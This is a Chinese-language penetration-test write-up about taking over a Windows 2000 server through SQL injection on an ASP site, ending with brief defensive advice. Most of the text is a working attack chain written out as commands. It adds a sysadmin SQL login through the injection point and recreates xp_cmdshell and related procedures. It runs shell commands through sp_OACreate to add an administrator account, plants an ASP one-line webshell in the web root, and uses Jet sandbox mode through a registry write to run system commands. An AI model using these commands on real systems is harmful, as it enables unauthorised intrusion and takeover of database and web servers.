記一次簡單的滲透測試

記一次簡單的滲透測試經過文章首發IT168安全頻道

轉載請著明 [safe.it168.com]

作者:傷心的魚


【IT168 專稿】前言：
筆者的一位朋友應聘到一家公司做網管，據說整個機房就他們倆人，工作很輕松。幾乎是沒什么事做，但是昨天突然給我打電話說是機房被入侵了，被人加了很多用戶并且什么cain，arpspoof全都丟到javascript:tagshow(event, '%B7%FE%CE%F1%C6%F7');" href="javascript:;" target=_self>服務器上了，想讓筆者幫忙看看是怎么滲透進去的，于是乎在敲詐了一頓烤鴨之后筆者終于出手了。在經過朋友的同意之后特意將本文寫出來！

一.滲透前的踩點:

這哥們也夠狠，除了丟給我個IP其他什么都沒給我！IP是202.108.59.XX。沒辦法，自食其力。用superscan掃了下，發現開了21.80.1433 這三個端口，因為我只掃1-3389 。并沒看見終端的3389?？磥磉@家伙是怕了，直接把3389給關掉了。 用旁注的工具檢測了下，發現服務器有兩個網站。兩個都是ASP的站，不用多說了。先尋找注射點吧，使用兩個啊D都打開google 搜索site:xxxx.com，一頁顯示一百條，掃了半天只發現一個站有注射點，居然還是SA權限！不被黑才怪！

如圖1

   既然是SA權限，馬上準備傳個VBS上去，先開了3389在說，但是搞了半天居然用啊D不能列目錄！telnet了一下目標服務器的1433發現端口可以外連，于是在注射點后面使用：
   exec master.dbo.sp_addlogin sadfish fish;
   exec master.dbo.sp_addsrvrolemember sadfish,sysadmin
   來添加一個用戶名為sadfish密碼為fish的SQL server用戶權限為SA 。在頁面執行兩次都返回成功，說明添加成功了，馬上打開查詢分析器連上，成功連接，但是所有的存儲過程都被刪掉了。

二: 恢復存儲過程

于是馬上想到恢復存儲過程來執行命令，于是在查詢分析器里執行:

CODE:

    use master
    exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
    exec sp_addextendedproc xp_dirtree,'xpstar.dll'
    exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
    exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
    exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
    exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
    exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
    exec sp_addextendedproc sp_OACreate,'odsole70.dll'
    exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
    exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
    exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
    exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
    exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
    exec sp_addextendedproc sp_OAStop,'odsole70.dll'
    exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
    exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
    exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
    exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
    exec sp_addextendedproc xp_regread,'xpstar.dll'
    exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
    exec sp_addextendedproc xp_regwrite,'xpstar.dll'
    exec sp_addextendedproc xp_availablemedia,'xpstar.dll'就是將以上的存儲過程全部恢復，但是在執行的時候卻提示沒能找到sp_addextendedproc，原來管理員把sp_addextendedproc也刪了。

圖3

    于是只能先恢復sp_addextendedproc，語句如下：

CODE:

    create procedure sp_addextendedproc --- 1996/08/30 20:13
    @functname nvarchar(517),/* (owner.)name of function to call */
    @dllname varchar(255)/* name of DLL containing function */
    as
    set implicit_transactions off
    if @@trancount > 0
    begin
    raiserror(15002,-1,-1,'sp_addextendedproc')
    return (1)
    end
    dbcc addextendedproc( @functname, @dllname)
    return (0) -- sp_addextendedproc
    GO  

圖4

執行成功，然后恢復存儲過程，成功恢復了所用存儲過，但是在執行exec master.dbo.xp_cmdshell 'net user'
的時候卻提示：
    ODBC：消息 0，級別 16，狀態 1，無法裝載 DLL xp_cmdshell.dll 或該 DLL 所引用的某一 DLL。
原因：126(error not found)。原來管理員把DLL 都刪了。然后又想能不能使用SP_OAcreate來加個管理員呢？


三.尋找ＷＥＢ目錄

于是在查詢分析器里執行：
    DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD
@shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user sadfish fish /add'
    來添加個密碼用戶為sadfish的管理員，提示命令完成，于是馬上執行：
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c netstat -an >c:\1.txt'  就是把netstat -an的結果顯示在1.txt里保存在c:\，提示成功。
    然后繼續使用：

CODE:

    declare @o int, @f int, @t int, @ret int
    declare @line varchar(8000)
    exec sp_oacreate 'scripting.filesystemobject', @o out
    exec sp_oamethod @o, 'opentextfile', @f out, 'c:\1.txt', 1
    exec @ret = sp_oamethod @f, 'readline', @line out
    while( @ret = 0 )
    begin
    print @line
    exec @ret = sp_oamethod @f, 'readline', @line out
    end來讀取1.txt里的內容，但是卻發現不存在1.txt。

圖5  

    難道SP_OAcreate也不能用？是不是wscript.shell被刪了？歇一會，整理下思路重新來，先用xp_subdirs來找WEB目錄，語句是exec master.dbo.xp_subdirs 'c":\'，發現服務器只有C、D兩個磁盤，并且文件夾也不多。怎么越來越感覺像是數據庫服務器呢？不過既然有數據庫了也可以找到后臺通過后臺備份拿個SHELL，不過這個SA要是拿不到服務器權限那真是有點丟人了。用阿D通過剛才的注射點掃一下后臺，竟然沒掃到，只發現了一個inc目錄下有個test.asp 文件，打開后竟然發現了WEB目錄。

圖6

    原來WEB目錄是C:\Inetpub\tianhong\ ，一般感覺管理員都不會用C:\Inetpub這個目錄，自己也就沒看，差點壞了大事。

四．成功獲得ＷＥＢＳＨＥＬＬ

不過既然知道了WEB目錄 就可以寫一個一句話進去啦 語句如下

CODE:

    declare @o int, @f int, @t int, @ret int
    exec sp_oacreate 'scripting.filesystemobject', @o out
    exec sp_oamethod @o, 'createtextfile', @f out, 'c:\Inetpub\tianhong\2.asp', 1
    exec @ret = sp_oamethod @f, 'writeline', NULL,
    '<%execute(request("a"))%>'命令執行成功 看來一句話寫進去了，馬上使用客戶端連一下，連接成功。

圖7

    馬上傳大馬準備提權，服務器沒什么第三方軟件->開始→程序目錄不能瀏覽，2000的操作系統，權限設置的還算嚴格，看一下終端，一看嚇一跳，管理員把終端改成了21端口，第一次碰到。

圖8

    在WEBSHELL里轉了半天還是沒什么收獲，感覺還是得靠那個SA來提權，于是筆者問了下朋友，他說你怎么忘了沙盒模式？
    看來最近腦子暈了于是在查詢分析器里執行：
    EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'
    意思是修改注冊表，開啟沙盒：
    Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sadfish fish /add")');

五，沙盒模式提升權限

利用沙盒模式來添加個管理員，但是還是沒有添加進去！郁悶了，于是把SA丟給朋友讓他幫忙看看，過了一會筆者朋友給筆者把服務器發來了，竟然提上了。原來管理員做了密碼策略，需要復雜的密碼才能登陸。比如[email=!@!#ssfsf@$1541]!@!#ssfsf@$1541[/email]    馬上用終端連上去，但是卻發現不允許登陸，說是不能同時多用戶登陸，這個好解決，使用mstsc /console 然后終于進去了。

圖9

   總結：

    所有的關系型數據庫——包括SQL  SERVER，ORACLE,IBM DB2和MYSQL都容易受到SQL注射攻擊。SQL注射攻擊主要來自WEB應用程序將用戶的包含動態SQL代碼的輸入轉換成了SQL 命令給數據庫執行。編者給廣大的網管和WEB程序開發人員提幾點建議：
    1、 應用程序使用的去連接數據庫的帳戶應該只擁有必須的特權，這樣有助于保護整個系統盡可能少的受到入侵者的危害。應用程序不應該用SA或者管理員帳戶去連接數據庫。作為替代，它應該只有訪問它要調用的單個庫的權力。
    2、 如果一個輸入框只可能包括數字，那么要通過驗證確保用戶輸入的都是數字。如果可以接受字母，那就要檢查是不是存在不可接受的字符。確保你的應用程序要檢查以下字符：分號，等號，破折號，括號以及SQL關鍵字。.NET FRAMEWORK提供了正則表達式來進行復雜的模式匹配，運用它可以達到良好的效果。另外限制用戶輸入的字符的長度也是一個好主意。驗證用戶輸入是必須的，因為入侵者可以利用WEB的開放性對應用程序進行SQL注射攻擊。
    3、 動態的SQL語句是一個進行數據庫查詢的強大的工具，但把它和用戶輸入混合在一起就使SQL注射成為了可能。將動態的SQL語句替換成預編譯的SQL或者存儲過程對大多數應用程序是可行的。預編譯的SQL或者存儲過程可以將用戶的輸入做為參數而不是SQL命令來接收，這樣就限制了入侵者的行動。當然，它不適用于你的存儲過程中是利用用戶輸入來生成SQL命令的情況。在這種情況下，用戶輸入的SQL命令仍可能得到執行，你的數據庫仍然有受SQL注射攻擊的危險。
    4、 使用雙引號替換掉所有用戶輸入的單引號，這個簡單的預防措施將在很大程序上預防SQL注射攻擊，單引號常常結束掉SQL語句，可能給于輸入者不必要的權力。用雙引號替換掉單引號可以使許多SQL注射攻擊失敗。

原文轉自：http://www.anti-gravitydesign.com